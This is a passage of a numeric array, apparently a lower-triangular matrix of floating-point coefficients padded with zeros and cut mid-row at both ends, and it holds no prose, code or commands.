0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[1.27432, 2.42583, -3.26053, -1.22765, 2.70573, 2.8761, -3.79984, -1.50271, 1.14689, 0.58985, -0.91916, 0.04613, -1.05481, -0.16537, -0.60061, -1.42906, 0.00338, -1.3963, -1.53552, 0.6888, 3.71442, 0.91405, -0.98024, 1.87692, 1.40948, 0.67006, -0.23086, 1.99327, 1.99865, -3.10201, -1.80113, 0.88307, -0.38441, -2.28143, 0.12493, 0.38306, 0.20487, -0.04696, -0.46408, 1.1439, -0.02161, 1.05263, -0.84409, -0.26249, 0.78652, 1.38976, 2.54938, 1.53654, 0.92928, -1.21199, -0.21478, 1.07241, -0.54597, 0.10495, 0.44306, 2.11885, 0.37687, 1.01018, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.61193, -1.14221, -0.30232, 2.53806, -0.5718, -4.32613, 0.17139, 2.64114, -0.72148, -0.87867, 0.77432, 0.90719, 0.78203, 0.6923, -0.89563, 1.01796, 1.41833, 1.38131, 0.67612, -1.26102, -3.12997, -0.84842, 1.36433, -0.10133, -2.12958, -0.92517, 0.33595, -1.30552, -0.89868, 1.12195, 2.77613, -1.02168, -0.5875, 0.15225, 2.22795, -0.52844, -0.77161, 0.72042, 0.28429, -0.2505, -0.30377, -0.49201, 0.86749, -0.62105, -0.12345, -1.03352, -0.49314, 0.08098, 0.00875, 0.98865, -1.01832, -0.11418, -0.40979, -1.18767, -0.33146, -0.41209, 1.12549, 1.08556, 0.99799, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[-1.85297, 0.11212, 2.83001, -2.39806, -1.66373, 3.15735, 2.13243, -2.73648, -0.29294, 0.54687, 1.40733, -0.1632, -0.67117, -1.68783, 0.43701, -0.24694, -1.70914, 0.68366, -0.0983, -0.29, 1.03118, 2.19742, 0.27561, -2.01968, 1.98172, 2.47184, 1.11073, 0.1326, 0.28055, 2.31692, -0.12049, -0.15874, 1.03893, 0.30787, -3.51032, -0.65562, -0.39673, -0.00611, -0.42868, 0.42699, -0.48052, 0.99812, 1.06463, 0.87247, -1.52371, 0.61241, 0.58878, 1.81409, 1.07595, 1.3207, 1.46732, 0.68847, -0.23075, 0.88103, 0.6122, 2.5311, -0.91366, 0.1992, 1.04169, 1.81376, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[1.36059, 1.13119, -1.85902, 0.32758, 2.6271, -0.32948, -3.32744, 2.22014, 1.79905, -0.68981, -1.1476, -1.1276, 0.29027, 1.88524, 1.01957, -0.74474, 0.76831, 0.19555, 0.54591, 1.31836, -0.65515, -2.10592, -0.54798, -0.1291, 0.77222, -0.99174, -0.79737, -0.02531, -1.98341, -1.98414, -0.281, 1.78011, 1.45021, 0.50688, 1.59669, 2.08059, 1.71735, -0.36315, 0.13397, 0.61473, -0.81293, -0.0603, -2.67588, -0.96101, -0.57588, -0.23522, -1.39555, -0.51848, -0.72984, 0.75649, 1.21225, -1.22107, -0.87929, -1.05101, -1.39184, -2.66601, -1.97492, -0.96021, 0.06298, 0.29795, 2.36915, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[1.36958, -2.02601, -0.72208, 2.96916, -2.84884, -2.34198, 2.59001, 1.05283, -2.75969, -0.04752, 0.58142, 1.56908, 0.76802, -1.12239, -1.55908, 0.40446, -0.3784, -2.2731, -0.34379, -0.76536, -0.69109, 0.80073, 0.56007, 0.56418, -2.4103, -0.49543, 1.37929, 1.82763, 2.91188, 0.65961, 0.71748, -0.76428, -0.74268, -0.73046, 0.75007, -2.80617, -1.59988, -0.5831, -0.75622, -0.40175, 0.33005, -0.55775, 0.96562, 2.09732, 2.92545, -0.60729, 2.51582, 1.23284, 0.21932, -0.78006, -0.36704, 1.22098, 1.02998, 1.45566, 1.19426, 1.97042, 1.89858, 1.06172, -0.597, -0.70032, -1.42015, -1.0311, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[-1.41899, 1.14543, 1.89289, -2.35985, 0.09432, 3.25041, -1.42689, -2.92895, 2.2535, 1.54578, 0.77245, -0.40201, -1.83937, -0.18748, 1.66683, 0.87479, 0.85955, 2.52166, 0.83556, -0.16391, 1.2993, 0.12732, -0.17785, 0.49588, 0.80937, 0.54549, -0.60404, -0.74602, -0.81752, -0.89808, -1.48292, -0.69406, -0.33203, 0.60261, 0.52717, 0.83104, 0.35233, 1.60242, 0.63481, 0.30796, -0.15869, 0.37837, 0.14574, -0.86095, -3.66701, -1.74823, -1.17147, -1.73421, -0.9797, 1.18037, 0.90352, 0.94822, -1.9027, -3.38768, -0.56671, -0.66842, -0.36579, -1.83871, -0.75976, 0.29232, 0.79809, -0.33211, -0.21545, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[1.64899, 0.8633, -0.85487, 0.56865, 3.27421, -2.86242, -2.34737, 2.2848, -0.19005, -1.76625, -0.42572, -0.2415, 1.35864, 1.17299, -0.46437, -0.90062, 0.60654, -0.72448, -2.17327, 0.24965, -0.07592, -0.88256, -0.72362, -1.51563, 1.65209, 0.41913, -0.52023, -0.38538, -1.18134, 2.2542, 2.26483, 1.20209, 0.47331, -0.13581, -0.76564, 0.69037, -1.07999, -0.94143, -0.2873, 0.54801, -0.8727, 0.44252, -1.29723, 0.42298, 0.95089, 0.96028, -0.95795, 0.92642, 0.86852, 1.58172, 1.00821, -0.26356, 0.26461, 0.60151, -0.09981, 0.22004, 0.35963, 1.65605, 0.72913, -0.78269, 1.14125, 0.45749, 0.28378, -2.51209, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[-0.80463, -0.86913, 1.52158, -0.0278, -3.91113, 0.47313, 3.66226, -0.95276, -2.28496, 1.87651, 0.4364, 0.67733, 0.34879, -1.71159, -0.77451, 0.48481, -1.1796, 0.53078, 2.59477, -0.09994, -1.61275, 0.44932, 0.66293, 0.29291, 0.73968, -0.73096, -0.36672, 0.61604, 0.29513, -0.64116, -0.78451, -1.32884, -0.01597, -1.06285, -0.50334, 0.10286, 1.23985, 0.29385, 1.03068, 0.90355, 0.14934, -0.30032, 0.22972, 0.5247, 0.63468, -0.74935, -0.49837, -0.4382, -0.15768, -0.94196, 0.05274, 0.88302, 1.73199, 0.09016, -0.91142, -0.06746, -0.78131, -0.14674, 0.31571, 0.73189, 0.32247, 0.99441, 0.79493, 1.11487, -0.6215, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.3119, 1.47851, -2.11379, -1.15234, 1.83844, 3.07116, -2.91341, -0.97362, 2.42275, -0.5595, -0.08214, -0.63022, -0.52812, 0.00268, 0.91248, -0.39303, -0.31541, 0.24613, -0.85218, -0.84352, 0.90198, 1.10808, -0.25043, -1.31022, -2.39007, 0.62981, 1.79522, 1.75111, 1.11938, -2.15804, -0.1188, 1.65711, 0.84226, 1.20145, 0.42826, -1.81187, -0.09264, -1.42872, -1.89213, -1.15839, 0.92304, 1.30592, -0.76616, -0.79654, 0.48948, 2.11014, 0.56736, -1.31739, -1.28466, -1.21059, -2.35837, 0.41052, 0.56243, -0.07577, 0.68513, 1.04637, -0.22333, 0.05667, 0.29626, -1.1236, -1.56325, 0.63664, 1.79467, 0.81892, 2.08013, -0.53155, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[1.42107, -2.78889, 1.02386, 3.25317, 0.56826, -3.84531, 0.62878, 2.75227, -0.42811, -0.84209, 0.76013, -0.21086, 0.42064, 0.87106, -0.46191, -1.0774, 0.1039, -0.52975, 0.20045, 1.96758, 0.45881, -1.67893, -0.39696, 1.3681, 1.61946, 0.07361, -1.85296, -1.83461, -1.16489, 1.33193, 0.4445, 0.09407, -1.06098, -0.37346, -0.55147, 0.2807, -0.12221, 1.56865, 0.12558, 1.23493, 0.61196, -0.13541, -0.26838, 1.04168, -0.16693, -1.28848, 0.01314, 0.49025, 1.42963, 1.73116, 0.59815, -1.06627, -1.09005, -0.16859, 2.23752, 1.35202, 0.33023, -0.21843, 0.15908, 0.84808, 1.03459, -1.03032, 0.99864, -0.17952, 1.13347, -0.54775, -0.07628, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[-0.64627, 2.3531, 1.486, -2.82884, -1.39854, 1.7182, 2.1887, -2.16944, -1.06629, 0.72449, -1.05929, 0.64637, 0.32042, -0.86677, -0.63324, 1.0693, 1.01561, 0.39146, 0.32777, -1.43285, -1.1397, -0.30633, 0.56708, -0.44137, -1.28638, -1.87478, -0.63557, 1.67156, 0.82883, 1.37417, 0.17866, -1.81836, 0.79825, 0.576, 0.878, 0.40691, -1.2641, -0.23472, -0.26454, -2.01116, -2.34609, -0.50414, 0.69511, 0.16878, -0.56011, -0.85781, 2.49051, 1.50961, -0.12313, -0.99161, -0.83505, -0.78303, -0.40612, -0.36082, -0.55889, -1.39557, 0.90196, 0.33895, -0.16128, -0.11893, 0.6559, -0.82902, -1.26682, 0.08835, -0.48431, 1.04038, 0.71742, 0.22253, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[1.99127, -0.33646, -3.36969, 0.3036, 1.77507, -0.59719, -2.84323, -0.17438, 1.19027, 0.84861, 0.98797, -0.07488, 0.59141, 0.95361, 0.8824, 0.40697, -0.67432, -0.5968, -0.96186, 0.24093, 0.43935, 0.25036, -1.02617, -0.70353, 2.51615, 2.68082, 0.99862, -0.82512, -0.93005, -2.08863, -0.23424, 0.93646, 0.48407, -0.56477, -0.28151, -0.74613, 0.45558, -0.57442, 1.23425, 1.18577, 2.46146, 1.1801, -0.34988, 0.27483, 1.06745, 1.06375, -2.31529, -1.37273, -0.83605, 0.74748, 1.40534, 1.13289, -0.44258, -1.39639, 0.0037, 1.58225, 0.73648, 1.50934, -0.09677, -0.32974, 0.61819, 0.13394, 0.29316, 0.63648, 0.34702, -0.78529, 0.90332, 0.31842, -0.33954, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[-1.46335, -2.19097, 3.24667, 1.16685, -1.37771, -0.48464, 1.36908, 1.18297, -0.22125, -0.17703, 0.06074, -0.82931, 0.37865, -0.48563, -0.61993, -1.04136, -0.0876, 0.00205, -0.27054, 1.27024, 1.08978, 0.91457, 1.30334, 0.58609, -1.94842, -2.59812, -1.38492, 0.14971, 1.13265, 0.5305, 0.40402, 1.24364, -2.14597, -1.07548, 0.17951, 1.74883, 0.44442, -0.53675, -0.51339, 0.33859, -2.68553, -0.51079, -0.36105, 0.77769, -0.58295, -1.20685, -0.65637, 1.5693, 2.34662, -0.29079, -1.02771, -0.05502, -0.38887, 0.32153, 1.08288, -0.80713, -1.12464, -0.76071, 1.00561, 0.01676, -0.08992, 0.08615, 1.50502, 0.22454, 0.00391, -1.17707, -1.05825, -0.42481, -0.57631, -0.56025, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.30483, 2.51756, -0.21049, -1.42675, 1.85416, 1.7302, -0.13907, -1.17158, -0.17634, -0.65419, 0.67044, 0.63489, -1.55638, -0.6389, 0.70918, 0.53477, 0.80999, 0.7465, 1.24213, -0.80686, -0.56193, -0.84124, -0.96297, -1.01982, -0.53723, 1.25403, 1.12215, -0.26578, -1.81556, -0.46161, -0.473, -0.61471, 1.17394, 0.8826, 0.05222, -0.13894, -0.21356, 0.30173, -0.19353, -0.6233, 0.4126, 0.49626, 0.72046, -0.52767, 0.26822, 2.1686, 2.00635, -1.61314, -1.07424, -0.42522, -0.62962, 0.59669, -0.14294, 0.53789, -0.27625, 0.52825, 1.66966, 1.12585, -0.12736, 0.24465, -0.01956, 0.31396, -0.96195, -1.42904, 0.84079, 1.54786, -0.39375, 0.25267, 0.09273, 0.29223, -0.05727, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[1.25204, -0.78957, -1.93296, 1.56829, -0.44618, -1.90066, 0.36206, 0.89088, 0.6782, 0.38268, -0.32565, -0.77577, 1.86887, 1.51295, -0.42701, -0.49218, -0.03904, -0.01573, -0.57216, -0.74022, -0.31139, -0.29999, 0.21546, 2.49982, 2.1588, -0.17135, -2.02775, -1.29185, 0.64337, 1.4031, 0.28031, -0.26364, 1.38685, -0.74772, -1.27286, -1.54306, 0.14663, 0.40154, 0.67498, 0.61288, 2.04033, -1.62065, -0.38676, -0.00142, 0.5238, -0.18493, -1.17967, -0.83985, 0.04637, 1.10917, -0.80776, -1.53347, -0.35573, -0.25255, -0.08813, -0.70078, -0.71746, -0.46467, 0.34859, 1.92782, -0.63346, -1.71011, -0.12013, 1.56768, -0.69201, -0.9496, -1.04767, 0.15599, 1.13628, -1.00413, 0.10074, -0.58619, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[-0.45896, -0.75979, 2.02063, -1.43165, -1.43266, 0.5602, 0.6334, -1.25769, -0.50156, 0.28803, -0.38397, 0.92576, 0.41465, -1.72946, -0.08282, 0.59891, -0.81234, -0.75027, 0.38285, 1.84609, 0.07157, 0.49979, 0.4847, -1.45756, -1.83717, -0.15087, 1.14364, 0.89029, 0.86842, -1.01009, -0.56997, -0.49555, -1.33583, 0.33221, 0.72907, 0.81269, -0.33183, -0.03449, -0.49173, 0.05645, -1.19425, 0.99399, -1.03591, 0.05853, -1.20424, -0.13922, 0.85476, 1.88171, 0.43679, -0.82683, 0.61208, 0.75025, 0.80388, -0.5113, -0.57903, 0.73074, 0.68952, -0.40942, 0.38139, -0.14957, 0.26237, -0.56554, 1.83689, 0.03648, -0.23528, 0.63373, 0.83869, -0.57851, -1.2363, -0.04907, -1.17625, 0.0998, -0.59754, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[-0.72068, 0.89708, 0.92479, -0.79403, 2.02314, 0.0517, -1.51857, -0.32683, 0.57331, 0.14798, 0.53578, -1.36088, -1.41257, 0.68931, 1.43737, 0.3239, 0.0053, 0.29544, -0.31478, -1.30577, 0.44395, 0.46555, 0.06266, -0.95632, 1.27827, 0.95796, 0.28183, -0.67147, -1.82322, -0.59373, -0.16247, 0.04407, -1.04996, 0.14895, 0.69055, 0.15615, -0.94482, -1.0729, -0.95097, -0.73428, 0.35665, 0.75893, -0.02907, -0.04873, 0.18908, -0.40915, -0.42273, -0.85138, 0.21238, -0.36639, 0.28619, -0.16027, -1.75972, -0.63448, 0.26178, -0.5247, -1.76553, -1.05673, -1.18156, 0.59157, 0.59417, 0.83341, -1.37321, -1.00622, -0.54116, -1.074, -0.44796, -0.99094, 0.14182, 0.4523, 0.74081, -1.1001, 1.7077, 1.25218, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[1.46174, -0.17304, -1.83711, 1.27656, -0.09362, -0.99454, 1.47662, 1.01121, -0.18733, -0.07346, 0.51487, 0.36772, 1.33433, -0.43319, -1.56641, 0.02122, 0.52666, 0.03463, -0.26814, 0.14385, 0.16343, -1.35748, -0.38319, 1.97566, -0.01279, -1.00087, -0.02452, 0.44444, 0.0936, 1.54949, 1.09717, 0.84215, 0.85217, -0.96652, 0.993, 0.40562, 0.74366, 0.86133, 0.70923, -0.4215, 0.00111, -0.92994, 1.37601, -0.55913, -0.47937, -0.76141, -0.15462, 0.34989, -0.03835, -0.49533, 0.112, 0.5518, 0.91077, 1.99853, 1.03708, -0.31217, 1.19372, 0.53073, 0.62449, 0.79086, -1.70111, -0.04998, 0.5568, 0.55127, 1.52685, 0.79775, -0.41459, 1.71659, 0.07568, -0.50763, -0.59363, -0.49594, -1.30995, -0.32709, 0.75226, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[-0.70533, -2.24484, 0.63289, 0.16451, -0.00832, 0.98132, -0.17642, -1.05565, 0.06143, 0.39509, 0.83965, 0.67546, -0.52908, -0.63154, -0.32476, -0.52123, 0.19349, 1.07903, 1.44565, -1.26229, -2.03498, 0.62695, 0.79006, 0.2525, -0.40427, 0.36362, -0.72783, 0.17251, 1.00602, -0.99154, -0.73957, -2.10445, -0.365, -0.63931, -2.24151, -0.78826, -0.03609, 0.89675, -0.4399, 0.14853, -0.69608, 0.33069, -0.48003, 0.35038, 0.111, 1.26081, -1.0069, 0.43531, -0.17436, 1.449, -0.64669, -1.15422, -0.77167, -1.3241, -0.718, -0.13352, 0.02049, -0.39355, -1.20972, -1.02025, 1.1568, 0.09545, -0.23028, -0.01776, -0.37066, -0.35933, -1.07165, -0.91635, 0.46866, 0.35072, 0.64666, 1.11009, -0.11641, 1.19322, 0.70664, -0.40247, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[-0.84988, 2.53847, 1.25174, -1.51674, 0.18811, -0.14081, -1.66173, 0.14743, 0.25733, -0.28002, -0.30067, -0.95583, 0.39943, 1.14285, -0.27744, -0.17365, 0.061, -1.39551, -0.68989, 0.84817, 2.56688, 1.03348, -1.09198, -1.69353, -0.1393, 0.31894, 0.4863, 0.89818, -0.08957, -1.0739, 0.74939, 1.62131, 0.71526, 0.34684, 0.45997, 1.71256, 0.3569, -1.49823, -0.65157, 0.38925, 0.13919, -0.29193, -0.41392, 0.46313, 0.93257, -0.45381, -0.46946, -0.75386, 0.55227, -0.38074, 0.32044, 0.72664, 0.469, 0.15162, 0.99386, 1.80788, 0.42873, 0.03824, -0.02361, 1.2134, -0.11835, 0.07168, 0.40448, 1.20315, -0.25033, -0.45461, 0.62641, -0.00817, -0.38891, -0.29763, -0.32558, -0.85359, -0.0355, -0.86199, 1.33015, 0.48233, 0.53832, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 